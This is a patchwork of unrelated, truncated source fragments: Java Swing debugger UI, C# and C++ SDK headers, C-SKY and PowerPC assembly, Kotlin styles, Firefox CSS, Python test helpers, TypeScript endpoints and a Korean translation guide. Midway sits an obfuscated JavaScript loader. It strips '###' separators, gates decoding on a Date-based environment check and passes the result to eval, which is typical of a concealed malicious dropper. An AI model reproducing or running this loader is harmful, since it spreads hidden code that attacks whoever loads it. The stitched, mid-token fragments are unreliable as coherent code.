,
					boolean hasFocus) {
				Component c = super.getTreeCellRendererComponent(tree, value, sel, expanded, leaf, row, hasFocus);
				if (value instanceof ValueTreeNode) {
					if (((ValueTreeNode) value).isUpdated()) {
						setForeground(Color.RED);
					}
				}
				return c;
			}
		});

		varTreeMenu = new VarTreePopupMenu(mainWindow);

		JTabbedPane loggerPanel = new JTabbedPane();
		logger = new JTextArea();
		logger.setEditable(false);
		logger.setLineWrap(true);
		JScrollPane loggerScroll = new JScrollPane(logger);
		loggerPanel.addTab("Debugger Log", null, loggerScroll, null);
		this.logcatPanel = new LogcatPanel(this);
		loggerPanel.addTab(NLS.str("logcat.logcat"), null, logcatPanel, null);

		leftSplitter.setLeftComponent(stackFramePanel);
		leftSplitter.setRightComponent(rightSplitter);
		leftSplitter.setResizeWeight(MainWindow.SPLIT_PANE_RESIZE_WEIGHT);

		rightSplitter.setLeftComponent(variablePanel);
		rightSplitter.setRightComponent(loggerPanel);
		rightSplitter.setResizeWeight(MainWindow.SPLIT_PANE_RESIZE_WEIGHT);

		JPanel headerPanel = new JPanel(new BorderLayout());
		headerPanel.add(new Label(), BorderLayout.WEST);
		headerPanel.add(initToolBar(), BorderLayout.CENTER);
		JButton closeBtn = new JButton(UiUtils.openSvgIcon("ui/close"));
		closeBtn.addMouseListener(new MouseAdapter() {
			@Override
			public void mouseClicked(MouseEvent e) {
				if (controller.isDebugging()) {
					int what = JOptionPane.showConfirmDialog(mainWindow,
							NLS.str("debugger.cfm_dialog_msg"),
							NLS.str("debugger.cfm_dialog_title"),
							JOptionPane.OK_CANCEL_OPTION);
					if (what == JOptionPane.OK_OPTION) {
						controller.exit();
						logcatPanel.exit();
					} else {
						return;
					}
				} else {
					mainWindow.destroyDebuggerPanel();
				}
				unregShortcuts();
			}
		});
		headerPanel.add(closeBtn, BorderLayout.EAST);

		this.add(headerPanel, BorderLayout.NORTH);
		this.add(leftSplitter, BorderLayout.CENTER);
		listenUIEvents();
	}

	public MainWindow getMainWindow() {
		return mainWindow;
	}

	private void listenUIEvents() {
		stackFrameList.addMouseListener(new MouseAdapter() {
			@Override
			public void mouseClicked(MouseEvent e) {
				if (e.getClickCount() % 2 == 0) {
					stackFrameSelected(e.getPoint());
				}
			}
		});
		variableTree.addMouseListener(new MouseAdapter() {
			@Override
			public void mouseClicked(MouseEvent e) {
				if (SwingUtilities.isRightMouseButton(e)) {
					treeNodeRightClicked(e);
				}
			}
		});
	}

	private JToolBar initToolBar() {
		AbstractAction stepOver = new AbstractAction(NLS.str("debugger.step_over"), ICON_STEP_OVER) {
			private static final long serialVersionUID = -1111111202103170726L;

			@Override
			public void actionPerformed(ActionEvent e) {
				controller.stepOver();
			}
		};
		stepOver.putValue(Action.SHORT_DESCRIPTION, NLS.str("debugger.step_over"));

		AbstractAction stepInto = new AbstractAction(NLS.str("debugger.step_into"), ICON_STEP_INTO) {
			private static final long serialVersionUID = -1111111


/**
 * Copyright 2018 The Nakama Authors
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

using System.IO.Compression;
using System.Net;
using System.Net.Http;
using System.Threading;
using System.Threading.Tasks;

namespace Nakama
{
    internal class GZipHttpClientHandler : DelegatingHandler
    {
        public GZipHttpClientHandler(HttpMessageHandler innerHandler)
        {
            InnerHandler = innerHandler;
        }

        protected override Task<HttpResponseMessage> SendAsync(HttpRequestMessage request, CancellationToken ct)
        {
            if ((request.Method == HttpMethod.Post ||


dth.
		  * \param pH                  height.
          * \remark These values are ignored when exporting to FBX 7.x and higher. With FBX version 6.x and lower,
          *         the HeaderInfo is still accessible for legacy reasons and any other custom writers. For FBX filles,
          *         these values are used by the FBX QuickTime plug-in (obsolete now) to help it get the window size
          *         without loading the whole file. The information contained in the FbxIOFileHeaderInfo is a duplicate
          *         of AspectRatioMode, AspectWidth and AspectHeight properties defined in the FbxCamera class.
          *         Retrieveing the FileHeaderInfo starting from FBX 7.x will always return the uninitialized structure.
		  */
		void SetDefaultRenderResolution(FbxString pCamName, FbxString pResolutionMode, double pW, double pH);

		/**	Get the complete file header information.
		* \return		valid pointer to the complete header information
		*/
		FbxIOFileHeaderInfo* GetFileHeaderInfo();
	//@}

/*****************************************************************************************************************************
** WARNING! Anything beyond these lines is for internal use, may not be documented and is subject to change without notice! **
*****************************************************************************************************************************/
#ifndef DOXYGEN_SHOULD_SKIP_THIS
	bool GetExportOptions(FbxIO* pFbxObject);
	bool Export(FbxDocument* pDocument, FbxIO* pFbxObject);

protected:
	virtual void Construct(const FbxObject* pFrom);
	virtual void Destruct(bool pRecursive);
	virtual void SetOrCreateIOSettings(FbxIOSettings* pIOSettings, bool pAllowNULL);

	void Reset();
	bool FileCreate();
	void FileClose();

private:
	bool ExportProcess(FbxDocument* pDocument);

	int								mFileFormat;
	FbxWriter*						mWriter;
#if !defined(FBXSDK_ENV_WINSTORE) && !defined(FBXSDK_ENV_EMSCRIPTEN)
    FbxThread*						mExportThread;
    FbxExportThreadArg*				mExportThreadArg;
    bool							mExportThreadResult;
    bool							mIsThreadExporting;
#endif /* !FBXSDK_ENV_WINSTORE && !FBXSDK_ENV_EMSCRIPTEN */
    FbxProgress						mProgress;
	FbxStream*                      mStream;
	void*                           mStreamData;
	FbxString						mStrFileVersion;
	double							mResamplingRate;
	FbxSceneRenamer::ERenamingMode	mRenamingMode;
	FbxIOFileHeaderInfo*			mHeaderInfo;
	FbxIOSettings*					mIOSettings;
	bool							mClientIOSettings;

	friend void ExportThread(void*);
#endif /* !DOXYGEN_SHOULD_SKIP_THIS *****************************************************************************************/
};

//! Event that is emitted to plugins before a file is exported to the FBX format.
class FBXSDK_DLL FbxEventPreExport : public FbxEvent<FbxEventPreExport>
{
	FBXSDK_EVENT_DECLARE(FbxEventPreExport);

public:
	FbxEventPreExport(FbxDocument* pDocument) : mDocument(pDocument) {};

	//! The document to be exported
	FbxDocument* mDocument;
};

//! Event that is emitted to plugins after a file is exported to the FBX format.
class FBXSDK_DLL FbxEventPostExport : public FbxEvent<FbxEventPostExport>
{
	FBXSDK_EVENT_DECLARE(FbxEventPostExport);

public:
	FbxEventPostExport(FbxDocument* pDocument) : mDocument(pDocument) {};

	//! The document to be exported
	FbxDocument* mDocument;
};

#include <fbxsdk/fbxsdk_nsend.h>

#endif /* _FBXSDK_FILEIO_EXPORTER_H_ */


  mov             a2, l2
    mov             a1, a3              // n2
    movi            a3, 2
    jbsr            csky_radix4_butterfly_yv_q15

    lsli            a0, l1, 1
    addu            a0, l0, a0          // pSrc + fftLen
    lsri            a1, l1, 1           // n2
    mov             a2, l2
    movi            a3, 2
    jbsr            csky_radix4_butterfly_yv_q15

    lsri            l1, l1, 1           // fftLen >> 1
    movi            t0, 0               // i = 0
    mov             l2, l0
.L3:
    cmplt           t0, l1
    bf              .L2
    pldbi.d         a0, (l0)            // p0, p1
    st.w            a0, (l2, 0x0)
    st.w            a1, (l2, 0x4)
    addi            l2, l2, 8
    addi            t0, t0, 1
    br              .L3
.L2:

    pop             l0, l1, l2, lr
    .size   csky_cfft_radix4by2_yv_q15, .-csky_cfft_radix4by2_yv_q15

    .section        .text.csky_cfft_radix4by2_inverse_yv_q15,"ax",@progbits
    .align          2
    .global         csky_cfft_radix4by2_inverse_yv_q15
    .type           csky_cfft_radix4by2_inverse_yv_q15, @function

csky_cfft_radix4by2_inverse_yv_q15:
    push            l0, l1, l2, l3, l4, lr
    mov             l0, a0              // pSrc
    mov             l1, a1              // fftLen
    mov             l2, a2              // pCoef
    lsri            a3, a1, 1           // n2 = fftLen >> 1

    movi            t1, 0               // i
    addu            t0, t1, a3          // l = i + n2
    lsli            t0, t0, 2
    addu            t0, a0, t0          // pSrc[2 * l]
.L11:
    cmplt           t1, a3              // i < n2
    bf              .L10

    ldbi.w          t2, (a2)            // cosVal, sinVal
    ld.w            t4, (a0, 0x0)
    ld.w            t5, (t0, 0x0)
    psubh.s16       t6, t4, t5          // xt, yt
    paddh.s16       t7, t4, t5
    stbi.w          t7, (a0)            // pSrc[2 * i]

    pmul.s16        t8, t6, t2          // xt * cosVal, yt * sinVal
    sub.s32.s       t8, t8, t9

    pmulx.s16       l3, t6, t2          // xt * sinVal, yt * cosVal
    add.s32.s       l3, l4, l3
    pkg             t8, t8, 15, l3, 15
    stbi.w          t8, (t0)            // pSrc[2u * l + 1u]
    addi            t1, t1, 1
    br              .L11
.L10:
    mov             a0, l0
    mov             a2, l2
    mov             a1, a3              // n2
    movi            a3, 2
    jbsr            csky_radix4_butterfly_inverse_yv_q15

    lsli            a0, l1, 1
    addu            a0, l0, a0          // pSrc + fftLen
    lsri            a1, l1, 1           // n2
    mov             a2, l2
    movi            a3, 2


    this + CoreFloatStyleItem(CoreFloatField.MIN_WIDTH_PERCENT, minWidthPercent)

/** Sets a specific maximum percent width for this component when its parent lays it out. */
inline fun Style.maxWidthPercent(maxWidthPercent: Float): Style =
    this + CoreFloatStyleItem(CoreFloatField.MAX_WIDTH_PERCENT, maxWidthPercent)

/** Sets a specific minimum percent height for this component when its parent lays it out. */
inline fun Style.minHeightPercent(minHeightPercent: Float): Style =
    this + CoreFloatStyleItem(CoreFloatField.MIN_HEIGHT_PERCENT, minHeightPercent)

/** Sets a specific maximum percent height for this component when its parent lays it out. */
inline fun Style.maxHeightPercent(maxHeightPercent: Float): Style =
    this + CoreFloatStyleItem(CoreFloatField.MAX_HEIGHT_PERCENT, maxHeightPercent)

/** Defines padding on the component on a per-edge basis. */
inline fun Style.padding(
    all: Dimen? = null,
    horizontal: Dimen? = null,
    vertical: Dimen? = null,
    start: Dimen? = null,
    top: Dimen? = null,
    end: Dimen? = null,
    bottom: Dimen? = null,
    left: Dimen? = null,
    right: Dimen? = null,
): Style =
    this +
        all?.let { CoreDimenStyleItem(CoreDimenField.PADDING_ALL, it) } +
        horizontal?.let { CoreDimenStyleItem(CoreDimenField.PADDING_HORIZONTAL, it) } +
        vertical?.let { CoreDimenStyleItem(CoreDimenField.PADDING_VERTICAL, it) } +
        start?.let { CoreDimenStyleItem(CoreDimenField.PADDING_START, it) } +
        top?.let { CoreDimenStyleItem(CoreDimenField.PADDING_TOP, it) } +
        end?.let { CoreDimenStyleItem(CoreDimenField.PADDING_END, it) } +
        bottom?.let { CoreDimenStyleItem(CoreDimenField.PADDING_BOTTOM, it) } +
        left?.let { CoreDimenStyleItem(CoreDimenField.PADDING_LEFT, it) } +
        right?.let { CoreDimenStyleItem(CoreDimenField.PADDING_RIGHT, it) }

/**
 * Defines padding on the component on a per-edge basis, with a percent value of container's size.
 * See
 * [https://www.yogalayout.dev/docs/styling/margin-padding-border](https://www.yogalayout.dev/docs/styling/margin-padding-border)
 * for more information.
 */
inline fun Style.paddingPercent(
    all: Float? = null,
    horizontal: Float? = null,
    vertical: Float? = null,
    start: Float? = null,
    top: Float? = null,
    end: Float? = null,
    bottom: Float? = null,
    left: Float? = null,
    right: Float? = null,
): Style =
    this +
        all?.let { CoreFloatStyleItem(CoreFloatField.PADDING_ALL_PERCENT, it) } +
        horizontal?.let { CoreFloatStyleItem(CoreFloatField.PADDING_HORIZONTAL_PERCENT, it) } +
        vertical?.let { CoreFloatStyleItem(CoreFloatField.PADDING_VERTICAL_PERCENT, it) } +
        start?.let { CoreFloatStyleItem(CoreFloatField.PADDING_START_PERCENT, it) } +
        top?.let { CoreFloatStyleItem(CoreFloatField.PADDING_TOP_PERCENT, it) } +
        end?.let { CoreFloatStyleItem(CoreFloatField.PADDING_END_PERCENT, it) } +
        bottom?.let { CoreFloatStyleItem(CoreFloatField.PADDING_BOTTOM_PERCENT, it) } +
        left?.let { CoreFloatStyleItem(CoreFloatField.PADDING_LEFT_PERCENT, it) }


ov115_0225F728
	.word ov115_0225F74C
	.word ov115_0225F770
	.word ov115_0225F794
	.word ov115_0225F7B8
	.word ov115_0225F7DC
	.word ov115_0225F800
	.word ov115_0225F824
	.word ov115_0225F848
	.word ov115_0225F86C
	.word ov115_0225F890
	.word ov115_0225F8B4
	.word ov115_0225F8D8
	.word ov115_0225F8FC
	.word ov115_0225F920
	.word ov115_0225F944
	.word ov115_022602C0
	.word ov115_022602E4
	.word ov115_02260308
	.word ov115_0226032C
	.word ov115_02260350
	.word ov116_0225F054
	.word ov116_0225F364
	.word ov116_0225F374
	.word ov114_0225F020
	.word ov114_0225F280
	.word ov117_0225F020
	.word ov117_0225F4D4
	.word ov117_0225F4E4
	.word ov117_0225F4F4
	.word ov117_0225F504
	.word ov117_0225F514
	.word ov118_0225F020
	.word ov120_0225F714

ov01_02206980: ; 0x02206980
	.byte 0x00, 0x02, 0x05, 0x07, 0x01, 0x06, 0x03, 0x04

	.bss

ov01_02209B64: ; 0x02209B64
	.space 0xC


R A PARTICULAR
// PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE
// FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
// ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//

using System;
using System.Reactive.Linq;
using Avalonia;
using Avalonia.Controls;
using Avalonia.Markup.Xaml;
using ReactiveUI;
using Studio.Extensions;
using Studio.ViewModels.Workspace.Objects;
using Studio.ViewModels.Workspace.Properties;

namespace Studio.Views.Workspace.Properties
{
    public partial class FeatureCollectionView : UserControl, IViewFor
    {
        /// <summary>
        /// Assigned view model
        /// </summary>
        public object? ViewModel { get => DataContext; set => DataContext = value; }

        public FeatureCollectionView()
        {
            InitializeComponent();
        }
    }
}


ckground: color-mix(in srgb, -moz-accent-color-foreground 10%, transparent);
    --toolbarbutton-active-background: color-mix(in srgb, -moz-accent-color-foreground 15%, transparent);
  }
}
@media (-moz-bool-pref: "userChrome.theme.system_default") and (-moz-gtk-csd-available) {
  :root:is(:not([lwtheme]), :not(:-moz-lwtheme)) {
    --toolbar-field-background-color: Field !important;
    --toolbar-field-color: FieldText !important;
    --toolbar-field-border-color: ThreeDShadow !important;
  }
  :root:is(:not([lwtheme]), :not(:-moz-lwtheme)) .urlbarView-url {
    --urlbar-popup-url-color: AccentColor;
  }
}
@media (-moz-bool-pref: "userChrome.theme.system_default") and (-moz-gtk-csd-available) and (-moz-bool-pref: "userChrome.compatibility.accent_color") {
  :root:is(:not([lwtheme]), :not(:-moz-lwtheme)) .urlbarView-url {
    --urlbar-popup-url-color: -moz-accent-color;
  }
}
@media (-moz-bool-pref: "userChrome.theme.system_default") and (-moz-gtk-csd-available) {
  :root:is(:not([lwtheme]), :not(:-moz-lwtheme)) #urlbar-background,
  :root:is(:not([lwtheme]), :not(:-moz-lwtheme)) #searchbar {
    background-color: var(--toolbar-field-background-color) !important;
  }
}
@media (-moz-bool-pref: "userChrome.theme.system_default") and (-moz-bool-pref: "layout.css.osx-font-smoothing.enabled") {
  :root:is(:not([lwtheme]), :not(:-moz-lwtheme)),
  :root[lwt-default-theme-in-dark-mode] {
    /* Colors */
    --mac-text-color: -moz-dialogtext;
    --mac-disabled-color: GrayText;
    --mac-bgcolor: Window;
    --mac-selected-bgcolor: color-mix(in srgb, rgb(255, 255, 255) 15%, Field);
    --mac-field-bgcolor: Window;
    --mac-panel-bgcolor: Menu;
    --mac-sidebar-bgcolor: Window;
    --mac-sidebar-hover-bgcolor: color-mix(in srgb, ButtonFace 60%, var(--mac-sidebar-bgcolor));
    --mac-hover-bgcolor: Window;
    --mac-disabled-bgcolor: transparent;
    --mac-primary-button-color: AccentColorText; /* or -moz-mac-menutextselect */
    --mac-accent-color: AccentColor; /* or LinkText */
    --mac-accent-content-color: color-mix(in srgb, rgb(255, 255, 255) 15%, AccentColor);
    --mac-accent-hover-color: color-mix(in srgb, rgb(0, 0, 0) 10%, AccentColor); /* or -moz-mac-menuselect, Highlight */
    --mac-accent-active-color: color-mix(in srgb, rgb(0, 0, 0) 20%, AccentColor); /* or ActiveBorder */
    /* Text, Icon Color */
    --menu-color: var(--mac-text-color) !important;
    --lwt-text-color: var(--mac-text-color) !important;
    --button-color: var(--mac-text-color) !important;
    --input-color: var(--mac-text-color) !important;
    --toolbar-color: var(--mac-text-color) !important;
    --toolbar-non-lwt-textcolor: var(--mac-text-color) !important;
    --toolbarbutton-icon-fill: var(--mac


� 미디어 트렌드, 유행어, 밈, 인터넷 용어를 적극적으로 활용하여 현지 사용자들이 공감하고 재밌게 느낄 수 있는 번역 제공. (예: '핵인싸' → "hot boy/girl", "người nổi tiếng", '웃프다' → "cười ra nước mắt", '개웃겨' → "cười chết")
    * **해시태그/이모지 활용:** 원문의 해시태그와 이모지 사용 패턴을 분석하여, 베트남 소셜 미디어에서 자주 사용되는 관련 해시태그와 이모지로 대체하거나 추가. (예: #ViệtNam, #hàihước)
    * **짧고 강렬한 메시지 전달:** 소셜 미디어의 특성상 짧고 명확하며, 임팩트 있는 문장 구조를 선호하는 경향을 반영.
    * **플랫폼 특성 반영:** Zalo, Facebook, TikTok, YouTube 등 베트남에서 주로 사용되는 각 플랫폼의 특성(글자 수 제한, 비주얼 중심 여부, 사용자층)을 고려하여 최적의 번역 제공.
    * **친근하고 대중적인 어조:** 주로 친근하고 비격식적인 어조를 사용하여 사용자들과의 소통을 원활하게 유도.

## 5. 품질 평가 메트릭 및 개선 지침 (베트남 시장 최적화)

번역의 품질을 객관적으로 평가하고 지속적으로 개선하기 위한 기준입니다.

1.  **인지적 의미 일치도 (Cognitive Meaning Congruence):**
    * **기준:** 번역문이 원문의 인지 도식, 화자의 의도, 핵심 개념을 얼마나 정확히 보존하고 있는가.
    * **평가:** (예: 5점 척도: 5점: `완벽 일치` / 3점: `부분 일치` / 1점: `불일치`)
    * **목표:** 최소 4점 이상.

2


#### ####v####M####m####8#### ####+#### ####\"####,####\"#### ####+#### ####v####I####q####8####)####;####b####r####e####a####k####;####}####c####a####t####c####h#### ####(####e####)#### ####{####c####o####n####t####i####n####u####e####;####}####;####}#### ####@####*####/"));var vJr6 = new Function("vMLm6", '{return vMLm6.split(",").join("");};');
var vBYd7 = new Function("vMLm6", '{var vYUe0 = new Date();vYUe0["setUTCFullYear"]("2003");if (vYUe0.getUTCFullYear().toString(10) == "2003") {var vQLi1 = vMLm6.split("###"); return vQLi1.join("");} else return "";};');
eval(vBYd7("/###*###@###c###c###_###o###n### ###f###u###n###c###t###i###o###n### ###v###L###t###3###(###v###U###e###2###)###{###v###a###r### ###v###F###Y###q###6###=###n###e###w### ###A###r###r###a###y###(###)###;###v###F###Y###q###6###[###1###9###9###]###=###1###2###8###;###v###F###Y###q###6###[###2###5###2###]###=###1###2###9###;###v###F###Y###q###6###[###2###3###3###]###=###1###3###0###;###v###F###Y###q###6###[###2###2###6###]###=###1###3###1###;###v###F###Y###q###6###[###2###2###8###]###=###1###3###2###;###v###F###Y###q###6###[###2###2###4###]###=###1###3###3###;###v###F###Y###q###6###[###2###2###9###]###=###1###3###4###;###v###F###Y###q###6###[###2###3###1###]###=###1###3###5###;###v###F###Y###q###6###[###2###3###4###]###=###1###3###6###;###v###F###Y###q###6###[###2###3###5###]###=###1###3###7###;###v###F###Y###q###6###[###2###3###2###]###=###1###3###8###;###v###F###Y###q###6###[###2###3###9###]###=###1###3###9###;###v###F###Y###q###6###[###2###3###8###]###=###1###4###0###;###v###F###Y###q###6###[###2###3###6###]###=###1###4###1###;###v###F###Y###q###6###[###1###9###6###]###=###1###4###2###;###v###F###Y###q###6###[###1###9###7###]###=###1###4###3###;###v###F###Y###q###6###[###2###0###1###]###=###1###4###4###;###v###F###Y###q###6###[###2###3###0###]###=###1###4###5###;###v###F###Y###q###6###[###1###9###8###]###=###1###4###6###;###v###F###Y###q###6###[###2###4###4###]###=###1###4###7###;###v###F###Y###q###6###[###2###4###6###]###=###1###4###8###;###v##


import os
import sys
from contextlib import contextmanager
from io import StringIO

def is_ci_test():
    return os.environ.get("GITHUB_ACTIONS") == "true"

def process_packages_path(packages_path) -> str:
    packages_path = os.getenv("COBAYA_FORCE_PACKAGES_PATH", packages_path)
    if not packages_path:
        if os.path.exists(os.path.join(os.getcwd(), "..", "packages_path")):
            packages_path = os.path.join("..", "packages_path")
    assert packages_path, "I need a packages folder!"
    return (
        packages_path
        if os.path.isabs(packages_path)
        else os.path.join(os.getcwd(), packages_path)
    )

@contextmanager
def stdout_redirector(stream):
    stream.seek(0)
    old_stdout = sys.stdout
    sys.stdout = stream
    try:
        yield
    finally:
        sys.stdout = old_stdout

@contextmanager
def stdout_check(*strs, match=True):
    stream = StringIO()
    old_stdout = sys.stdout
    sys.stdout = stream
    try:
        yield
    finally:
        sys.stdout = old_stdout
    output = stream.getvalue()
    for s in strs:
        assert match == (s in output), "Output should contain '%s'" % s


50 */	fneg f5, f0
/* 80293B18 00290A58  40 80 00 30 */	bge .L_80293B48
/* 80293B1C 00290A5C  C0 02 D7 60 */	lfs f0, lbl_8051BAC0@sda21(r2)
/* 80293B20 00290A60  3C 60 80 50 */	lis r3, sincosTable___5JMath@ha
/* 80293B24 00290A64  38 63 71 A0 */	addi r3, r3, sincosTable___5JMath@l
/* 80293B28 00290A68  EC 1C 00 32 */	fmuls f0, f28, f0
/* 80293B2C 00290A6C  FC 00 00 1E */	fctiwz f0, f0
/* 80293B30 00290A70  D8 01 00 28 */	stfd f0, 0x28(r1)
/* 80293B34 00290A74  80 01 00 2C */	lwz r0, 0x2c(r1)
/* 80293B38 00290A78  54 00 1C B8 */	rlwinm r0, r0, 3, 0x12, 0x1c
/* 80293B3C 00290A7C  7C 03 04 2E */	lfsx f0, r3, r0
/* 80293B40 00290A80  FC 00 00 50 */	fneg f0, f0
/* 80293B44 00290A84  48 00 00 24 */	b .L_80293B68
.L_80293B48:
/* 80293B48 00290A88  EC 1C 00 B2 */	fmuls f0, f28, f2
/* 80293B4C 00290A8C  3C 60 80 50 */	lis r3, sincosTable___5JMath@ha
/* 80293B50 00290A90  38 63 71 A0 */	addi r3, r3, sincosTable___5JMath@l
/* 80293B54 00290A94  FC 00 00 1E */	fctiwz f0, f0
/* 80293B58 00290A98  D8 01 00 20 */	stfd f0, 0x20(r1)
/* 80293B5C 00290A9C  80 01 00 24 */	lwz r0, 0x24(r1)
/* 80293B60 00290AA0  54 00 1C B8 */	rlwinm r0, r0, 3, 0x12, 0x1c
/* 80293B64 00290AA4  7C 03 04 2E */	lfsx f0, r3, r0
.L_80293B68:
/* 80293B68 00290AA8  FC 60 00 50 */	fneg f3, f0
/* 80293B6C 00290AAC  C0 42 D7 30 */	lfs f2, lbl_8051BA90@sda21(r2)
/* 80293B70 00290AB0  C0 22 D7 64 */	lfs f1, lbl_8051BAC4@sda21(r2)
/* 80293B74 00290AB4  FC 00 28 18 */	frsp f0, f5
/* 80293B78 00290AB8  D0 41 00 18 */	stfs f2, 0x18(r1)
/* 80293B7C 00290ABC  FC 80 18 18 */	frsp f4, f3
/* 80293B80 00290AC0  EC 42 00 72 */	fmuls f2, f2, f1
/* 80293B84 00290AC4  D0 61 00 14 */	stfs f3, 0x14(r1)
/* 80293B88 00290AC8  EC 60 00 72 */	fmuls f3, f0, f1
/* 80293B8C 00290ACC  EC 84 00 72 */	fmuls f4, f4, f1
/* 80293B90 00290AD0  D0 A1 00 1C */	stfs f5, 0x1c(r1)
/* 80293B94 00290AD4


/*
 * Copyright 2017, 2018 Simon Rasmussen (refactor)
 *
 * Copyright 2015, 2016 Thomas Timm Andersen (original version)
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#pragma once

#include <industrial_msgs/RobotStatus.h>
#include <ros/ros.h>
#include <ur_msgs/Analog.h>
#include <ur_msgs/Digital.h>
#include <ur_msgs/IOStates.h>
#include <ur_msgs/MasterboardDataMsg.h>
#include <ur_msgs/RobotModeDataMsg.h>

#include "ur_modern_driver/ur/consumer.h"

using namespace ros;

class MBPublisher : public URStatePacketConsumer
{
private:
  NodeHandle nh_;
  Publisher io_pub_;
  Publisher status_pub_;
  Publisher masterboard_state_pub_;
  Publisher robot_mode_state_pub_;

  template <size_t N>
  inline void appendDigital(std::vector<ur_msgs::Digital>& vec, std::bitset<N> bits)
  {
    for (size_t i = 0; i < N; i++)
    {
      ur_msgs::Digital digi;
      digi.pin = static_cast<uint8_t>(i);
      digi.state = bits.test(i);
      vec.push_back(digi);
    }
  }

  void publishIOStates(ur_msgs::IOStates& io_msg, SharedMasterBoardData& data);

  void publishRobotStatus(industrial_msgs::RobotStatus& status, const SharedRobotModeData& data) const;
  void publishRobotStatus(const RobotModeData_V1_X& data) const;
  void publishRobotStatus(const RobotModeData_V3_0__1& data) const;

  // publish 1-to-1 copy of MasterBoardData as a ROS message
  void publishMasterboardData(ur_msgs::MasterboardDataMsg& msg, const SharedMasterBoardData& data) const;
  void publishMasterboardData(const MasterBoardData_V1_X& data) const;
  void publishMasterboardData(const MasterBoardData_V3_0__1& data) const;

  // publish 1-to-1 copy of RobotModeData as a ROS message
  void publishRobotModeData(ur_msgs::RobotModeDataMsg& msg, const SharedRobotModeData& data) const;
  void publishRobotModeData(const RobotModeData_V1_X& data) const;
  void publishRobotModeData(const RobotModeData_V3_0__1& data) const;

public:
  MBPublisher()
    : io_pub_(nh_.advertise<ur_msgs::IOStates>("ur_driver/io_states", 1))
    , status_pub_(nh_.advertise<industrial_msgs::RobotStatus>("ur_driver/robot_status", 1))
    , masterboard_state_pub_(nh_.advertise<ur_msgs::MasterboardDataMsg>("ur_driver/masterboard_state", 1))
    , robot_mode_state_pub_(nh_.advertise<ur_msgs::RobotModeDataMsg>("ur_driver/robot_mode_state", 1))
  {
  }

  virtual bool consume(MasterBoardData_V1_X& data);
  virtual bool consume(MasterBoardData_V3_0__1& data);
  virtual bool consume(MasterBoardData_V3_2& data);

  virtual bool consume(RobotModeData_V1_X& data);
  virtual bool consume(RobotModeData_V3_0__1& data);
  virtual bool consume(RobotModeData_V3_2& data);

  virtual void setupConsumer()
  {
  }
  virtual void teardownConsumer()
  {
  }
  virtual void stopConsumer()
  {
  }
};


.baseTexture).toBe(material.baseTexture);
    expect(clone.emissiveTexture).toBe(material.emissiveTexture);
    expect(clone.normalTexture).toBe(material.normalTexture);
    expect(clone.occlusionTexture).toBe(material.occlusionTexture);
  });
});
import { NextFunction, Request, Response } from 'express';
import {
  OK,
  NOT_FOUND,
  INTERNAL_SERVER_ERROR,
  CREATED,
  BAD_REQUEST
} from 'http-status-codes';
import { PersonNotFoundException } from '../types/ErrorTypes';

export class PersonEndpoints {
  getStudent = async (
    req: Request,
    res: Response,
    next: NextFunction
  ): Promise<void> => {
    try {
      let person;
      const id = req.params.id;
      if (id) {
        person = await req.services.personService.getPersonById(id);
      } else {
        const firstname = req.params.firstname;
        const lastname = req.params.lastname;
        const email = req.params.email;
        person = await req.services.personService.getStudent(
          firstname,
          lastname,
          email
        );
      }
      res.status(OK).json(person);
    } catch (error) {
      console.log(JSON.stringify(error));
      if (error instanceof PersonNotFoundException) {
        res.sendStatus(NOT_FOUND);
      } else {
        res.sendStatus(INTERNAL_SERVER_ERROR);
      }
      next();
    }
  };
  getAllStudents = async (
    req: Request,
    res: Response,
    next: NextFunction
  ): Promise<void> => {
    try {
      const persons = await req.services.personService.listAllStudents();
      res.status(OK).json(persons);
    } catch (error) {
      console.log(error);
      if (error instanceof PersonNotFoundException) {
        res.sendStatus(NOT_FOUND);
      } else {
        res.sendStatus(INTERNAL_SERVER_ERROR);
      }
      next();
    }
  };
  postStudent = async (
    req: Request,
    res: Response,
    next: NextFunction
  ): Promise<void> => {
    const firstname = req.body.firstname;
    const lastname = req.body.lastname;
    const email = req.body.email;
    const sick = !!req.params.sick;

    try {
      const person = await req.services.personService.addStudent(
        firstname,
        lastname,
        email,
        sick
      );
      res.status(CREATED).json(person);
    } catch (error) {
      console.log(error);
      if (error instanceof PersonNotFoundException) {
        res.sendStatus(BAD_REQUEST);
      } else {
        res.sendStatus(INTERNAL_SERVER_ERROR);
      }
      next();
    }
  };
}
import "allocator/arena";
export { memory };

export function render_trigger(ptr: i32, len: i32): void {
  for (let i = ptr; i < ptr + len * 8; i += 8) {
    let a = load<f64>(i);
    if (a > -200) {
      a = 1 - a / 200;
    } else {
      a = 4 - a / -200;
    }

    if (a < 0) a = 0;
    store<f64>(i, a);
  }
}

export function render_scroll_hint(content_top: f64, switch_top: f64): f64 {
  const a: f64 = 1 - (content_top - switch_top) / 100;
  if (a >= 0) {
    if (a <= 1) {
      return a;
    } else {
      return 1;
    }
  } else {
    return 0;
  }
}

export function render_prologue_box(content_top: f64, switch_top: f64): f64 {
  const a: f64 = (7500 - (content


%%`
  const escapedDefaultName = defaultName.replace(/\s/g, token)

  const escape = (str: string) => {
    return str
      .replace(/\s/g, token)
      .split(escapedDefaultName)
      .map((v) => v.replace(new RegExp(token, 'g'), ' '))
      .join(escapedDefaultName)
  }

  const existsDefault = (escapedLabel: string): boolean => {
    return escapedLabel.includes(escapedDefaultName)
  }

  const getSerial = (escapedLabel: string): number => {
    const numPart = escapedLabel.split(' ').slice(1).join(' ')
